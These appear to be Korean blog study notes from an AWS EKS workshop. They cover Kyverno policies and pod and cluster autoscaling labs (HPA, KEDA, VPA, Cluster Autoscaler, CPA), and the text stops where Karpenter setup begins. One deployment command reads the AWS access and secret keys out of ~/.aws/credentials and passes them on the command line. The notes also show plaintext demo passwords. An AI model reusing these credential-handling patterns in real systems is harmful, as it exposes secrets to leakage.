error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request: 

resource Deployment/default/nginx was blocked due to the following policies 

require-labels:
  autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
    failed at path /spec/template/metadata/labels/team/'

# 디플로이먼트 생성 시도
kubectl run nginx --image nginx --labels team=backend
kubectl get pod -l team=backend

# 확인
kubectl get policyreport -o wide
NAME                                   KIND         NAME                          PASS   FAIL   WARN   ERROR   SKIP   AGE
e1073f10-84ef-4999-9651-9983c49ea76a   Pod          nginx                         1      0      0      0       0      29s

kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata: 
  labels: 
    app.kubernetes.io/managed-by: kyverno
  name: e1073f10-84ef-4999-9651-9983c49ea76a
  namespace: default
results: 
- message: validation rule 'check-team' passed.
  policy: require-labels
  result: pass
  rule: check-team
  scored: true
  source: kyverno
  timestamp: 
    nanos: 0
    seconds: 1712473900
scope: 
  apiVersion: v1
  kind: Pod
  name: nginx
  namespace: default
  uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary: 
  error: 0
  fail: 0
  pass: 1
  skip: 0
  warn: 0

# 정책 삭제
kubectl delete clusterpolicy require-labels

 

Mutation 실습

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: add-labels
spec:
  rules:
  - name: add-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    mutate:
      patchStrategicMerge:
        metadata:
          labels:
            +(team): bravo
EOF

# 확인
kubectl get mutatingwebhookconfigurations
kubectl get ClusterPolicy
NAME         ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE     MESSAGE
add-labels   true        true         Audit             True    6m41s   Ready

# 파드 생성 후 label 확인
kubectl run redis --image redis
kubectl get pod redis --show-labels

# 파드 생성 후 label 확인 : 바로 위와 차이점은?
kubectl run newredis --image redis -l team=alpha
kubectl get pod newredis --show-labels

# 삭제
kubectl delete clusterpolicy add-labels

 

 

Generation 실습

# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
  --docker-server=myinternalreg.corp.com \
  --docker-username=john.doe \
  --docker-password=Passw0rd123! \
  --docker-email=john.doe@corp.com

#
kubectl get secret regcred
NAME      TYPE                             DATA   AGE
regcred   kubernetes.io/dockerconfigjson   1      26s

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: sync-secrets
spec:
  rules:
  - name: sync-image-pull-secret
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      apiVersion: v1
      kind: Secret
      name: regcred
      namespace: "{{request.object.metadata.name}}"
      synchronize: true
      clone:
        namespace: default
        name: regcred
EOF

#
kubectl get ClusterPolicy
NAME           ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
sync-secrets   true        true         Audit             True    8s    Ready

# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret

# 삭제
kubectl delete clusterpolicy sync-secrets

 

그리고 Kyverno CLI도 있으니 이를 통해 policy를 확인해도 좋을 것 같다.

# Install Kyverno CLI using kubectl krew plugin manager
kubectl krew install kyverno

# test the Kyverno CLI
kubectl kyverno version
kubectl kyverno --help

# 정책 테스트 : --policy-report 옵션은 로컬에서도 리포트 출력을 할 수 있는 기능
kubectl kyverno apply require-probes.yaml --resource nginx.yaml --policy-report

 

항상 그렇듯이 마지막에 리소스 삭제를 꼭 잊지 말자. 이번에는 testuser IAM에 대해 AWS 웹 관리 콘솔에서 꼭 삭제하도록 한다.

 

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

 

 

 

 

 

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. EKS Autoscaling 개요 및 실습 환경

이번 실습에서 다루고자 하는 "EKS Autoscaling"에 대해 먼저 알아보자. 쿠버네티스 장점 중 하나인 쿠버네티스 파드 오토스케일링 (링크)은 파드 자체 관점으로 살펴보면 크게 "수평적인 (Horizontal)" 및 "수직적인 (Vertical)" 파드 오토스케일링(Pod Autoscaling)을 위한 2가지로 나누어볼 수 있으며 이를 각각 HPA, VPA라고 부른다. 아래 그림에서와 같이 HPA는 동등한 CPU/메모리 할당이 이루어진 파드 개수를 늘리는 방향으로 이루어지며 VPA는 파드에 할당된 CPU/메모리와 같은 할당량을 늘리는 방식으로 이루어진다.

또한 쿠버네티스 클러스터 전체 관점에서 보면 클러스터 자체를 오토스케일링하는 Cluster Austoscaler (CA/ CAS) 전략도 있다. 이는 워커 노드 사용량이 한계에 도달하여 신규 파드 배포를 수용하지 못할 때 발생하는 상황으로 클러스터 내 워커 노드를 늘리는 방향으로 스케일링이 이루어지는 전략이다.

 

EKS에서는 Karpenter를 사용하여 클러스터 오토스케일링 전략을 적용할 수 있다. Karpenter가 클러스터에 설치되면 Karpenter는 예약되지 않은 파드의 전체 리소스 요청을 관찰하고 새 노드를 시작하고 종료하는 결정을 내림으로써 예약 대기 시간과 인프라 비용을 줄인다. 이를 위해 Karpenter는 Kubernetes 클러스터 내의 이벤트를 관찰한 다음 Amazon EC2와 같은 컴퓨팅 서비스에 전송을 하는 방식으로 동작한다 (Amazon EC2 뿐만 아니라 다른 클라우드 환경도 지원하는 오픈 소스라고 한다).

(출처: https://aws.amazon.com/ko/blogs/korea/introducing-karpenter-an-open-source-high-performance-kubernetes-cluster-autoscaler/ )

 

 

이번 실습 역시 지난 실습 (링크)에서 전제된 2가지(Route 53: 외부 도메인에 대한 Zone 설정, Certificate Manager (ACM): 해당 도메인에 대한 하위 도메인 모두를 허용하는 * 인증서)가 준비되어야 실습이 가능하다.

 

다음과 같이 명령어로 실행하여 배포를 진행하였다.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick4.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick4.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

이후 지난 번 실습과 동일하게 3개 워커 노드에 대한 IP 주소를 가져와 환경 변수에 저장하고, kube-ops-view 설치, AWS LB Controller 설치, gp3 스토리지 클래스 생성, 노드 보안그룹 ID 확인까지 동일하게 수행한다.

 

이후, 지난 번 실습 4번에 언급된 프로메테우스 & 그라파나 설치를 아래 내용을 참고하여 진행해보자. 이번 실습은 EKS Autoscaler인 만큼 프로메테우스를 yaml로 설치할 때 다음 옵션을 활성화하도록 한다. 그라파나는 추천 대시보드: 15757, 17900, 15172를 Import해두도록 하자.

 

#  monitor-values.yaml - "prometheus:" 하위 요소로 "prometheusSpec:" 및 "ingress:"와 동등하게 추가
  verticalPodAutoscaler:
    enabled: true

 

(Grafana -&nbsp; 추천 대시보드: 15757, 17900, 15172를 Import 결과)

 

그리고 EKS Node Viewer를 설치한다. EKS 클러스터 내 동적 노드 사용량(usage)를 시각화해주는 명령 도구로, Karpenter와의 통합을 시연하기 위해 AWS에서 내부 도구 시작된 도구라고 한다. 다음과 같이 예약된 파드 리소스 요청, 할당 가능한 노드 용량을 표시해준다.

 

# go 설치
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go version
go version go1.22.1 linux/amd64

# EKS Node Viewer 설치 : 약 2분 이상 소요
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [신규 터미널] EKS Node Viewer 접속
cd ~/go/bin && ./eks-node-viewer
혹은
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

명령 샘플
# Standard usage
./eks-node-viewer

# Display both CPU and Memory Usage
./eks-node-viewer --resources cpu,memory

# Karenter nodes only
./eks-node-viewer --node-selector "karpenter.sh/provisioner-name"

 

" ./eks-node-viewer --resources cpu,memory" 명령어를 오른쪽 작은 하단 터미널에 실행한 스크린샷

 

1. HPA - Horizontal Pod Autoscaler

kube-ops-view와 그라파나에서 모니터링을 같이 해보고자 한다. 그라파나의 경우 17125 대시보드를 기반으로 모니터링을 할 예정인데 다음과 같은 diff 사항을 반영하여 17125 대시보드를 수정한 json 파일을 적용하도록 하자.

 

104c104
<           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\", horizontalpodautoscaler=\"$horizontalpodautoscaler\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\"}",
185c185
<           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\", horizontalpodautoscaler=\"$horizontalpodautoscaler\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\"}",
266c266
<           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",  namespace=\"$namespace\", horizontalpodautoscaler=\"$horizontalpodautoscaler\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",  namespace=\"$namespace\"}",
347c347
<           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\", namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\"}",
417c417
<           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
424c424
<           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
431c431
<           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
439c439
<           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\", horizontalpodautoscaler=\"$horizontalpodautoscaler\",namespace=\"$namespace\"}",
---
>           "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
592c592
< }
\ No newline at end of file
---
> }

 

위 json 파일을 적용한 대시보드 스크린샷

 

그 다음,  CPU와 메모리 리밋이 명시되어 있는  php-apache.yaml 에 따라 파드를 실행하여 부하를 발생시켜보고자 한다. 먼저 다음과 같이 부하를 발생시킬 준비를 해보자.

# Run and expose php-apache server
curl -s -O https://raw.githubusercontent.com/kubernetes/website/main/content/en/examples/application/php-apache.yaml
cat php-apache.yaml | yh
kubectl apply -f php-apache.yaml

# 확인
kubectl exec -it deploy/php-apache -- cat /var/www/html/index.php
...

# 모니터링 : 터미널2개 사용
watch -d 'kubectl get hpa,pod;echo;kubectl top pod;echo;kubectl top node'
kubectl exec -it deploy/php-apache -- top

# 접속
PODIP=$(kubectl get pod -l run=php-apache -o jsonpath={.items[0].status.podIP})
curl -s $PODIP; echo

 

 

준비가 완료되었으니 HPA 생성 및 부하 발생 후 오토스케일링을 테스트해보자. 

# Create the HorizontalPodAutoscaler : requests.cpu=200m - 알고리즘
# Since each pod requests 200 milli-cores by kubectl run, this means an average CPU usage of 100 milli-cores.
kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10
kubectl describe hpa
...
Metrics:                                               ( current / target )
  resource cpu on pods  (as a percentage of request):  0% (1m) / 50%
Min replicas:                                          1
Max replicas:                                          10
Deployment pods:                                       1 current / 1 desired
...

# HPA 설정 확인
kubectl get hpa php-apache -o yaml | kubectl neat | yh
spec: 
  minReplicas: 1               # [4] 또는 최소 1개까지 줄어들 수도 있습니다
  maxReplicas: 10              # [3] 포드를 최대 5개까지 늘립니다
  scaleTargetRef: 
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache           # [1] php-apache 의 자원 사용량에서
  metrics: 
  - type: Resource
    resource: 
      name: cpu
      target: 
        type: Utilization
        averageUtilization: 50  # [2] CPU 활용률이 50% 이상인 경우

# 반복 접속 1 (파드1 IP로 접속) >> 증가 확인 후 중지
while true;do curl -s $PODIP; sleep 0.5; done

# 반복 접속 2 (서비스명 도메인으로 파드들 분산 접속) >> 증가 확인(몇개까지 증가되는가? 그 이유는?) 후 중지 >> 중지 5분 후 파드 갯수 감소 확인
# Run this in a separate terminal
# so that the load generation continues and you can carry on with the rest of the steps
kubectl run -i --tty load-generator --rm --image=busybox:1.28 --restart=Never -- /bin/sh -c "while sleep 0.01; do wget -q -O- http://php-apache; done"

 

부하를 발생시키면서 점차 오토스케일링이 이루어지는 것을 확인할 수 있었다.

(로드 발생 시작)
(계속 증가하다가 파드 개수 7개까지 늘어난 것을 확인할 수 있었음)

 

로드가 계속 발생하면서 처음에는 CPU 활용율이 증가하여 파드 확장이 이루어지다가, 파드 개수가 어느 정도 늘어난 다음에는 CPU 사용률이 안정적으로 되어 시간이 계속 지나도 더 이상 파드 확장이 이루어지지 않는 것을 확인할 수 있었다. 이렇게 확인한 다음에는 Ctrl+C를 눌러 반복 부하를 중지하고 조금 기다려보자. 오토스케일링이 이루어져 파드가 1개로 변경된 결과를 확인할 수 있다.

 

 

확인 후 다음 명령어 실행을 통해 오브젝트를 삭제하자.

kubectl delete deploy,svc,hpa,pod --all

2. KEDA - Kubernetes based Event Driven Autoscaler

KEDA는 기존에 CPU와 메모리와 같은 메트릭을 기반으로 스케일링 여부를 결정하는 방식과 달리 특정 이벤트를 기반으로 스케일링 여부를 결정할 수 있도록 지원한다.

(출처:&nbsp; https://keda.sh/docs/2.10/concepts/ )

KEDA 대시보드를 그라파나에 Import한 다음 아래를 실행하여 결과를 확인해보도록 하자.

# KEDA 설치
cat <<EOT > keda-values.yaml
metricsServer:
  useHostNetwork: true

prometheus:
  metricServer:
    enabled: true
    port: 9022
    portName: metrics
    path: /metrics
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true
  operator:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true

  webhooks:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus webhooks
      enabled: true
EOT

kubectl create namespace keda
helm repo add kedacore https://kedacore.github.io/charts
helm install keda kedacore/keda --version 2.13.0 --namespace keda -f keda-values.yaml

# KEDA 설치 확인
kubectl get all -n keda
kubectl get validatingwebhookconfigurations keda-admission
kubectl get validatingwebhookconfigurations keda-admission -o=json | kubectl neat | yh
kubectl get crd | grep keda

# keda 네임스페이스에 디플로이먼트 생성
kubectl apply -f php-apache.yaml -n keda
kubectl get pod -n keda

# ScaledObject 정책 생성 : cron
cat <<EOT > keda-cron.yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: php-apache-cron-scaled
spec:
  minReplicaCount: 0
  maxReplicaCount: 2
  pollingInterval: 30
  cooldownPeriod: 300
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache
  triggers:
  - type: cron
    metadata:
      timezone: Asia/Seoul
      start: 00,15,30,45 * * * *
      end: 05,20,35,50 * * * *
      desiredReplicas: "1"
EOT
kubectl apply -f keda-cron.yaml -n keda

# 그라파나 대시보드 추가
# 모니터링
watch -d 'kubectl get ScaledObject,hpa,pod -n keda'
kubectl get ScaledObject -w

# 확인
kubectl get ScaledObject,hpa,pod -n keda
kubectl get hpa -o jsonpath={.items[0].spec} -n keda | jq
...
"metrics": [
    {
      "external": {
        "metric": {
          "name": "s0-cron-Asia-Seoul-00,15,30,45xxxx-05,20,35,50xxxx",
          "selector": {
            "matchLabels": {
              "scaledobject.keda.sh/name": "php-apache-cron-scaled"
            }
          }
        },
        "target": {
          "averageValue": "1",
          "type": "AverageValue"
        }
      },
      "type": "External"
    }

# KEDA 및 deployment 등 삭제
kubectl delete -f keda-cron.yaml -n keda && kubectl delete deploy php-apache -n keda && helm uninstall keda -n keda
kubectl delete namespace keda

 

아래 대시보드 스크린샷과 같이 20분에 end 이벤트가 cron으로부터 발생하여 파드가 종료되었다가, desiredReplicas 개수가 1로 설정되어 있으므로 다시 1개 파드가 재생성된 것을 확인할 수 있었다.

3. VPA - Vertical Pod Autoscaler

다음 코드를 통해 VPA를 먼저 배포한다.

# 코드 다운로드
git clone https://github.com/kubernetes/autoscaler.git
cd ~/autoscaler/vertical-pod-autoscaler/
tree hack

# openssl 버전 확인
openssl version
OpenSSL 1.0.2k-fips  26 Jan 2017

# openssl 1.1.1 이상 버전 확인
yum install openssl11 -y
openssl11 version
OpenSSL 1.1.1g FIPS  21 Apr 2020

# 스크립트파일내에 openssl11 수정
sed -i 's/openssl/openssl11/g' ~/autoscaler/vertical-pod-autoscaler/pkg/admission-controller/gencerts.sh

# Deploy the Vertical Pod Autoscaler to your cluster with the following command.
watch -d kubectl get pod -n kube-system
cat hack/vpa-up.sh
./hack/vpa-up.sh
kubectl get crd | grep autoscaling
kubectl get mutatingwebhookconfigurations vpa-webhook-config
kubectl get mutatingwebhookconfigurations vpa-webhook-config -o json | jq

 

그 다음 공식 예제를 통해 VPA를 실습해보자. 파드가 실행되면 약 2-3분 뒤에 pod resource.request가 VPA에 의해 수정이 이루어진다고 한다.

# 모니터링
watch -d "kubectl top pod;echo "----------------------";kubectl describe pod | grep Requests: -A2"

# 공식 예제 배포
cd ~/autoscaler/vertical-pod-autoscaler/
cat examples/hamster.yaml | yh
kubectl apply -f examples/hamster.yaml && kubectl get vpa -w

# 파드 리소스 Requestes 확인
kubectl describe pod | grep Requests: -A2
    Requests:
      cpu:        100m
      memory:     50Mi
--
    Requests:
      cpu:        587m
      memory:     262144k
--
    Requests:
      cpu:        587m
      memory:     262144k

# VPA에 의해 기존 파드 삭제되고 신규 파드가 생성됨
kubectl get events --sort-by=".metadata.creationTimestamp" | grep VPA
2m16s       Normal    EvictedByVPA             pod/hamster-5bccbb88c6-s6jkp         Pod was evicted by VPA Updater to apply resource recommendation.
76s         Normal    EvictedByVPA             pod/hamster-5bccbb88c6-jc6gq         Pod was evicted by VPA Updater to apply resource recommendation.

 

 

이 때 CPU와 메모리에 대한 사항은 프로메테우스 다음 메트릭을 통해 직접 모니터링도 가능하며

kube_customresource_vpa_containerrecommendations_target{resource="cpu"}
kube_customresource_vpa_containerrecommendations_target{resource="memory"}

 

그라파나 대시보드를 통해 시각화된 모니터링 결과를 확인할 수도 있다.

 

실습을 다 한 이후에는 아래 명령어를 실행하여 리소스를 제거하도록 하자.

 

kubectl delete -f examples/hamster.yaml && cd ~/autoscaler/vertical-pod-autoscaler/ && ./hack/vpa-down.sh

 

4. CA - Cluster Autoscaler

이제 EKS Workshop에 설명되어 있는 Cluster Scaling 부분을 실습해보도록 하자. 다음과 같은 환경에 해당한다.

  • Cluster Autoscale 동작을 하기 위한 cluster-autoscaler 파드(디플로이먼트)를 배치
  • Cluster Autoscaler(CA)pending 상태인 파드가 존재할 경우, 워커 노드스케일 아웃
  • 특정 시간을 간격으로 사용률을 확인하여 스케일 인/아웃을 수행 & AWS에서는 Auto Scaling Group(ASG)을 사용하여 Cluster Autoscaler를 적용

 

실습 전 EKS 노드에 아래 tag가 들어가 있는지 확인해보도록 하자.

# k8s.io/cluster-autoscaler/enabled : true
# k8s.io/cluster-autoscaler/myeks : owned
aws ec2 describe-instances  --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Reservations[*].Instances[*].Tags[*]" --output yaml | yh

# 현재 autoscaling(ASG) 정보 확인
# aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='클러스터이름']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
aws autoscaling describe-auto-scaling-groups \
    --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
    --output table
-----------------------------------------------------------------
|                   DescribeAutoScalingGroups                   |
+------------------------------------------------+----+----+----+
|  eks-ng1-44c41109-daa3-134c-df0e-0f28c823cb47  |  3 |  3 |  3 |
+------------------------------------------------+----+----+----+

# MaxSize 6개로 수정
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].AutoScalingGroupName" --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 6

# 확인
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
-----------------------------------------------------------------
|                   DescribeAutoScalingGroups                   |
+------------------------------------------------+----+----+----+
|  eks-ng1-c2c41e26-6213-a429-9a58-02374389d5c3  |  3 |  6 |  3 |
+------------------------------------------------+----+----+----+

# 배포 : Deploy the Cluster Autoscaler (CA)
curl -s -O https://raw.githubusercontent.com/kubernetes/autoscaler/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml
sed -i "s/<YOUR CLUSTER NAME>/$CLUSTER_NAME/g" cluster-autoscaler-autodiscover.yaml
kubectl apply -f cluster-autoscaler-autodiscover.yaml

# 확인
kubectl get pod -n kube-system | grep cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler | grep node-group-auto-discovery
      --node-group-auto-discovery=asg:tag=k8s.io/cluster-autoscaler/enabled,k8s.io/cluster-autoscaler/myeks

# (옵션) cluster-autoscaler 파드가 동작하는 워커 노드가 퇴출(evict) 되지 않게 설정
kubectl -n kube-system annotate deployment.apps/cluster-autoscaler cluster-autoscaler.kubernetes.io/safe-to-evict="false"

# 모니터링 
kubectl get nodes -w
while true; do kubectl get node; echo "------------------------------" ; date ; sleep 1; done
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------"; date; sleep 1; done

# Deploy a Sample App
# We will deploy an sample nginx application as a ReplicaSet of 1 Pod
cat <<EoF> nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-to-scaleout
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        service: nginx
        app: nginx
    spec:
      containers:
      - image: nginx
        name: nginx-to-scaleout
        resources:
          limits:
            cpu: 500m
            memory: 512Mi
          requests:
            cpu: 500m
            memory: 512Mi
EoF

kubectl apply -f nginx.yaml
kubectl get deployment/nginx-to-scaleout

# Scale our ReplicaSet
# Let’s scale out the replicaset to 15
kubectl scale --replicas=15 deployment/nginx-to-scaleout && date

# 확인
kubectl get pods -l app=nginx -o wide --watch
kubectl -n kube-system logs -f deployment/cluster-autoscaler

# 노드 자동 증가 확인
kubectl get nodes
aws autoscaling describe-auto-scaling-groups \
    --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
    --output table

./eks-node-viewer --resources cpu,memory
혹은
./eks-node-viewer

# 디플로이먼트 삭제
kubectl delete -f nginx.yaml && date

# 노드 갯수 축소 : 기본은 10분 후 scale down 됨, 물론 아래 flag 로 시간 수정 가능 >> 그러니 디플로이먼트 삭제 후 10분 기다리고 나서 보자!
# By default, cluster autoscaler will wait 10 minutes between scale down operations, 
# you can adjust this using the --scale-down-delay-after-add, --scale-down-delay-after-delete, 
# and --scale-down-delay-after-failure flag. 
# E.g. --scale-down-delay-after-add=5m to decrease the scale down delay to 5 minutes after a node has been added.

# 터미널1
watch -d kubectl get node

 

실습을 해보면 노드 개수가 부족하여 파드들이 pending이 일어나다가

해당 파드들을 배포하기 위해 오토스케일링이 일어난 것을 확인할 수 있다.

 

디플로이먼트 삭제 후 10분 정도 지나면 노드 개수가 축소된다.

 

이후 리소스를 삭제하도록 하자. 만약 노드 개수가 축소되지 않은 상태에서 리소스를 삭제하면 워커 노드가 4개인 상태로 계속 유지가 되는 만큼 수동으로 2개 변경을 하는 명령어를 실행하도록 하자.

# size 수정 
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 3
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

# Cluster Autoscaler 삭제
kubectl delete -f cluster-autoscaler-autodiscover.yaml

 

 

5. CPA - Cluster Proportional Autoscaler

CPA는 노드 수 증가에 비례하여 성능 처리가 필요한 애플리케이션 (컨테이너/파드)를 수평으로 자동 확장하는 것을 이야기한다.

https://www.eksworkshop.com/docs/autoscaling/workloads/cluster-proportional-autoscaler/

 

helm repo add cluster-proportional-autoscaler https://kubernetes-sigs.github.io/cluster-proportional-autoscaler

# CPA규칙을 설정하고 helm차트를 릴리즈 필요
helm upgrade --install cluster-proportional-autoscaler cluster-proportional-autoscaler/cluster-proportional-autoscaler

# nginx 디플로이먼트 배포
cat <<EOT > cpa-nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        resources:
          limits:
            cpu: "100m"
            memory: "64Mi"
          requests:
            cpu: "100m"
            memory: "64Mi"
        ports:
        - containerPort: 80
EOT
kubectl apply -f cpa-nginx.yaml

# CPA 규칙 설정
cat <<EOF > cpa-values.yaml
config:
  ladder:
    nodesToReplicas:
      - [1, 1]
      - [2, 2]
      - [3, 3]
      - [4, 3]
      - [5, 5]
options:
  namespace: default
  target: "deployment/nginx-deployment"
EOF
kubectl describe cm cluster-proportional-autoscaler

# 모니터링
watch -d kubectl get pod

# helm 업그레이드
helm upgrade --install cluster-proportional-autoscaler -f cpa-values.yaml cluster-proportional-autoscaler/cluster-proportional-autoscaler

# 노드 5개로 증가
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].AutoScalingGroupName" --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 5 --desired-capacity 5 --max-size 5
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

# 노드 4개로 축소
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 4 --desired-capacity 4 --max-size 4
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
​

 

노드가 5개로 증가하였다.

 

4개로 변경 후 결과 확인

 

실습을 완료한 다음에는 리소스를 삭제한다.

helm uninstall cluster-proportional-autoscaler && kubectl delete -f cpa-nginx.yaml

 

여기까지 완료하면 그 다음에는 Karpenter 실습 환경 준비를 위해 현재 EKS 실습 환경을 전부 삭제하자.

 

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

6. Karpenter: K8s Native Autoscaler

Karpenter는 오픈 소스 노드 수명 주기 관리 솔루션으로 Amazon EC2에서 제공하는 API 레벨과 직접 통신을 하여 수 초만에 컴퓨팅 리소스를 제공하는 이점을 제공한다. 

 

 

Karpenter 버전이 0.2x 에서 0.3x로 2023년 10월 경 변경되었는데 (링크), 여러 문법 변화가 있는 부분이 있기에 참고하도록 하자.

 

실습을 위해 기존 EKS 클러스터인 myeks가 완전히 삭제된 이후에 아래 스크립트를 참고하여 실행하도록 하자. myeks2라는 새로운 배포 환경을 사전에 준비한 다음, Karpenter 배포를 위한 환경 준비 및 클러스터 생성, kube-ops-view, Karpenter 설치까지를 진행한다.
